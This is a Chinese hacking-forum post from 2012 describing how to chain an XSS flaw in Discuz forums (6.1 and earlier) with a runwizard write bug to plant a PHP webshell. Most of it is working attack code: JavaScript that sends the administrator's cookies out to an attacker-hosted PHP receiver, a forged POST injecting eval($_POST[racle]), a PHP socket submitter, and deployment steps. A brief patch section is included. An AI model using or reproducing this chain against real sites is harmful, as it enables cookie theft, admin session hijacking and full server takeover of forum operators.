找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4254|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell
- b; I! V4 u" K7 w3 sBy racle @tian6.com( l( z/ _2 |  f  N( B
欢迎转帖.但请保留版权信息.5 |6 g! J8 M& @/ ~
受影响版本iscuz<=6.1.0,gbk+utf+big5
: f' q; n( c" Y) N) _6 Q+ ~9 A: D% X; b4 `
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
2 I( U7 g3 v& q2 n- |0 P; |! l" U9 }* y. ?5 q8 o

- N: d& c5 |& R5 n- ^6 _- b3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706& e9 e  r; x2 t8 ?
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.- n. _4 ~; ~% \6 o% |" R; b

* S4 l" ~! w6 _& Z" u分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..4 m1 `. q4 I* x3 k
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS9 r4 f/ E& f) t
/ h* z, d* M. ]6 ~: r3 V& k( y* @

4 J* N  g6 ?6 t. b----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------7 j% o6 K3 I. I2 H
/ I, Y* _; [) }6 G: C4 Q' x6 p

2 x5 o4 z4 z5 Pproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
, p- h2 ^$ o( l$ {* P) i1 |0 z
$ O" p" @3 u: g# R0 H# |) u$ lproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
# X5 ^) L( U8 c2 f. |. I6 M
: Y' |  B) W: Hproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
  |4 \1 e$ p7 a7 w4 n* y
" h) ~7 |' ^9 \! P5 L
$ t: P( e0 R5 t# V8 f. ^下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {/ H/ }5 w8 Z/ S" @0 A% B6 d

+ T# V& X$ w& e* K3 x) `5 E$ Y7 l/ h        global $runwizardfile, $runwizardhistory;
. l" W! q- m# k. l7 ?6 S# ^$ _- \7 N  e4 k) ?& Z
        $fp = fopen($runwizardfile, 'w');) v# j& x( Z* _# i7 T" S

/ l$ P( ^" Z  S: K        fwrite($fp, serialize($runwizardhistory));+ R* ?3 {6 I- m1 U; {% E# h

: ^0 v$ ]: {) z9 I) u* x8 z        fclose($fp);8 J2 V& v9 S* [5 f) i
. @& @, I  C( d' H  F' ~
}3 J3 s  n) E3 U
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.* \# }& B. B8 \+ k# F
以下是修补的办法:function saverunwizardhistory() {) ?, R' s1 U( h. O- N% f
- X" B7 e/ [1 j4 X2 }7 h* K
        global $runwizardfile, $runwizardhistory;
1 e. b6 _+ k8 n6 {: {2 I' y
' Z( _/ O  W5 {7 a2 u/ I! M        $fp = fopen($runwizardfile, 'w');, V/ G8 @4 ~6 e) u3 O$ o
  x. r4 C7 A( G, E: p4 p
        $s = '<?php exit;?>';
2 O* j$ T5 q6 }. L: u
  i8 v# [9 h3 L: O7 n( k. ^" h+ u5 y+ R        $s .= serialize($runwizardhistory);
8 R1 N# j8 D8 c) U9 g! B& P0 U7 P/ x% c8 K  {. n7 u
        fwrite($fp, $s);9 O; |% x2 ^* t; k* H8 q5 m
2 ], b! v: ~9 K% n+ U6 m' u4 ]
        fclose($fp);
3 ^& b  [/ J* ?( B
$ ~, S/ u& f7 c, ]: G; ~}
: K3 W8 A5 ^! B) u) l9 {* J复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
/ K4 x/ U5 B1 [2 _! x' X' C
  @& `7 @0 B* U" M8 ?6 V& k  X1 |, i3 ^$ C- i1 w* S8 m

3 P' R' @7 p  s0 [. w, J9 h  M----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------0 q2 ?# L5 V1 ]! l) k: {: s
2 j: m" b: b, B$ @2 l% H
4 R3 z8 H# b, S6 I$ S
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.8 Y) z" K6 W8 w5 P8 E' C1 [& \
% `& }! f% K* R3 j$ v
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.4 k9 L) Z/ Q/ q$ W
# x/ H$ l% P9 O: s7 w  x* X
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.# ]: c# U: g9 ~: D
. M8 ~* C8 q: B9 C8 S
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:' m; h$ q3 N* f* N' x2 @
- j/ L7 F8 e* H+ O0 B5 @
var url="http://目标网站/admincp.php";      . V' r8 S! {- Y4 J8 I: L% Q

4 ?9 k  C' P3 O& Q1 M+ ^) P/*获得cookies*/! o: m( m# m) F1 {
1 C3 L2 x/ [$ k/ |; [' [
function getURL(s) {
$ Y2 V9 `  L3 c; S- V2 _- |: Y+ i) R
var image = new Image();# w1 u6 L  I5 ~: d2 A+ ~
1 q; ~8 c, ]5 h5 R
image.style.width = 0;
" [" `1 V$ z4 m5 q; [8 N: n4 t5 K  F0 c( e9 u& X% V
image.style.height = 0;
' v% r! G8 K' c7 g% j. B% ]! y. h2 t7 T) J2 w
image.src = s;
. R( A& b- S4 D+ H' i9 c
9 ^& K9 P7 v3 |% U* s}/ s) \0 ]# g$ j& p% T# M+ b' a1 t

+ `! d" X* e6 VgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php5 z, d' f! J$ V5 \! f
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
$ e! G& E5 e& o" e9 B0 V' f2 y( q复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
1 ~' g9 q: g. O2 x1 [3 _' T) U% m# z
; F! j, a( s9 h+ {" H9 r. Y% e  o
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
& R' }9 \( g3 S8 E+ ?* k0 K& p
2 R, t9 A& x2 p) g
* Z, P9 O% X! `  X% q/ P( }
# t" H7 p. Z" |! H0 A; _/*hash*/
/ H3 y0 b8 e" m( F  \' f+ _5 `
5 ~$ x7 Z6 {7 J" I, tvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
5 ?9 j+ l5 l7 {1 Y% P: b* g5 B3 s- f1 h1 Y
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
8 n- _/ Q- s! {( X0 T; e; |, J6 ?* U# r, z/ `  N) P' a* _
xmlHttpReq.send();
% m  i! t. ~& w; D/ F
' u! U' b$ Y" ?1 j* ?$ Wvar resource = xmlHttpReq.responseText;. d7 V1 p8 Y! P0 b3 O8 {7 P7 k
! C- E, G+ k1 O5 f
var numero = resource.search(/formhash/);
! z, O7 m; T! g& p1 M$ w8 S* b& F
var formhash=encodeURIComponent(resource.substr(numero+17,8));
0 m' Z: ~5 @+ V- w7 z! y* P
$ g8 Z9 Z4 k- d& \9 E" p- t# ?! y4 Z0 t) t/ Z0 f9 n

  [6 m: M( \$ \) |) avar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
% I# b4 r3 o" x) B+ N: `8 \" B1 [% E4 K/ p: v( }- T$ F8 d( O
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
5 A4 H( |  f3 o" O" K) I: ]
# y. g+ x3 ]* d! l; ]& B) SxmlHttpReq.setRequestHeader("Referer", url);
! P$ N5 b7 L  Q+ A, e" c3 f, u9 B- @* R. {$ w1 g
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
% n& G' B' X. }" I( {& E
; R% \2 Q$ @8 {! \" E: ZxmlHttpReq.setrequestheader("content-length",post.length); " r6 M% W2 o7 N8 \5 m

5 `4 P$ k. q& x3 Q6 ^xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
3 I/ ]- F0 T. G  a' y6 H) W* V: P( W
xmlHttpReq.send(post);//发送数据# |; P6 g$ L- X4 j- J4 l' M
复制代码这里HASH我假设正确,这样提交,也无须cookies( F  i$ u) t: B5 M6 }' \

& N7 r! A1 T3 y5 _再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);8 m& L( P( `( w. V5 @

9 r. D/ Q% p$ w* Z, ]! \if (!$sock) die("$errstr ($errno)\n");
8 V* v; t9 s6 Q" _" Y+ U
  X/ Y' f1 ?# i4 p" }$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';) Y; ]' r+ T: V" _& I
, ?- u) f( _7 b7 K  v$ D
5 V& u* T0 y6 r1 g

' P6 ?# G3 x9 M* x( Wfwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");' K6 ^% O& u6 [" f( C0 m7 @
6 f! H& {6 ^8 ^) L) u
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");1 e. S$ m6 X0 g" s, `7 E+ [' ]9 @
' Y& |8 {3 w# P9 |  E& S
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
& y1 W" P  H! o8 @9 R6 v6 G, h( h$ H  W9 o
fwrite($sock, "Accept-Language: zh-cn\r\n");
$ }/ e- M6 |1 M( _) r; g. @! Z3 t; I$ p: I9 d/ b
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");6 [! s* z5 i: A' P0 p8 Z( G
+ y5 `. h$ |0 u: k  E
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
$ _0 |" p7 J" o5 l) n. |" n; e% v0 j
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");  q9 X4 G8 N) X4 _/ M4 w" q! p' p' S
. l* h8 A8 }, |% `+ b7 g2 W7 Q2 T
fwrite($sock, "Host: $url\r\n");9 J) ?6 N8 d% X& h

6 t2 K/ Z$ j) K4 h2 ?fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
8 d/ n$ v7 }1 O  o
  ^/ C5 }% V* kfwrite($sock, "Connection: Keep-Alive\r\n");; K% A- B5 q# U
- V: W2 F# o! C) h& v" {/ u
fwrite($sock, "Cache-Control: no-cache\r\n");- e8 s: ^, O& f" Q! }

- W7 C& H; {& s8 Cfwrite($sock, "Cookie:".$cookies."\r\n\r\n");; O$ A3 p" k0 r$ u' r
% z1 J) o, \. ^; s
fwrite($sock, $data);) k3 I$ J# v) s- h* T/ {( z

3 B2 p4 ~( ~+ ~7 @5 I6 c9 K) `& R0 E
2 C( T$ Q4 S$ q/ ?) t3 w* ?0 }
$headers = "";1 v6 C2 u* S! g' \  A' Q
( o( v! |- J/ U% a
while ($str = trim(fgets($sock, 4096)))& t: A7 c7 J6 }+ `8 X

+ m3 w+ r; [3 t( X- c     $headers .= "$str\n";
* H1 {8 Q& ^% a8 c( U/ t6 p/ t- Q( v8 h
7 P) V- g. E: X. V1 fecho "\n";8 v2 j4 V# O5 ]' i0 [' ?) b
4 Z' e) L0 ?/ S5 s
$body = "";
9 T2 Q' ?7 {0 s( O3 Q- B8 f$ ?% e5 L/ C: N& d; w
while (!feof($sock))2 S1 J, E; `  \0 O8 z1 V- x

7 @- Z1 }! r7 v0 l     $body .= fgets($sock, 4096);
- ?/ q+ z1 U# G
5 M) C9 }% u; e1 N2 ?fclose($sock);
3 b* o" Q3 U9 M  Z* w& @
( `% E/ a. B; ]- vecho $body;
- T: _$ ^6 V6 l8 g% b) ~8 B3 S复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^! D( c/ f6 A/ U7 S

! S5 Q0 T; k3 U4 @* o8 W& ^1 a5 D$ H3 m, e) w; G0 {0 \( C
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------0 K' I4 [' R7 p6 P! C) v2 q7 I
& \# m1 D1 _1 t; a' I- }0 o$ s" X

9 U+ r! S9 I. A6 f# a1HP SOCKET利用方法首先打开racle.js
  f- b& u8 w4 B) ^
# m. K4 F) [7 Yvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
. C5 ~1 y( v9 B1 O8 r- j0 X4 |+ ]( j6 m" A

8 }: y5 T* {$ u" l8 t  `1 m8 u7 d: B7 s
然后打开racle@tian6.php
! ], q+ I, f0 g8 s7 h5 Y" {( p( M, C  ]) _0 N: e7 k" K1 ]
$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
, \6 N6 |9 N4 o  m  G
% P7 `# c" Z- [  Z  D- L8 |- @- }: b* K1 x+ v, h
' d( A* X% B/ Z0 f7 J
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
, G( V7 g+ e2 L/ t) I3 F9 K$ l+ X* [+ j& `
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
4 u+ V: \8 U  x/ q
0 Z( F3 e, O4 y$ S! B" ?3 |7 W1 j7 w7 G7 X

, u; X6 Q  F, Q  Y, x2 g( V1 PgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
) A( B- P( K; p4 `5 ~& W复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
) i2 c' N/ ^: B4 Z
4 S6 Q2 Z! v& P0 `) t! a
* E8 {- n( l7 F, K: |' g6 q( j  f1 {0 t
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
' B3 ^+ L7 B5 B* N9 G. P
9 x# m$ e. H1 B+ Rvar formhash=encodeURIComponent(resource.substr(numero+17,8));
) x0 T9 R) `1 h- l- }
! {! y4 M' L0 I: l7 v: l  I* _) y4 ^& u- V7 g$ o8 Z
7 M: ^  v& o7 v* i' C) Z
var formhash=encodeURIComponent(resource.substr(numero+9,8));' }( c/ ?8 V1 x! k- @. n
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
4 z( z& ]9 }: t+ U0 _; B0 N
( i' }+ J  a* e: ~1 f: P  Z如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.6 j; l! ^, f8 ~% h2 ~- O' k1 A
8 T8 i1 b3 G. |1 X+ B* M6 d8 _& I/ ?
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
: O- l; Q& h2 B$ E- h# J& `: T
. o/ T% z$ v5 U% b! g不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.0 K0 o: X6 O  n

- L  M3 ?5 z- z( a' ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表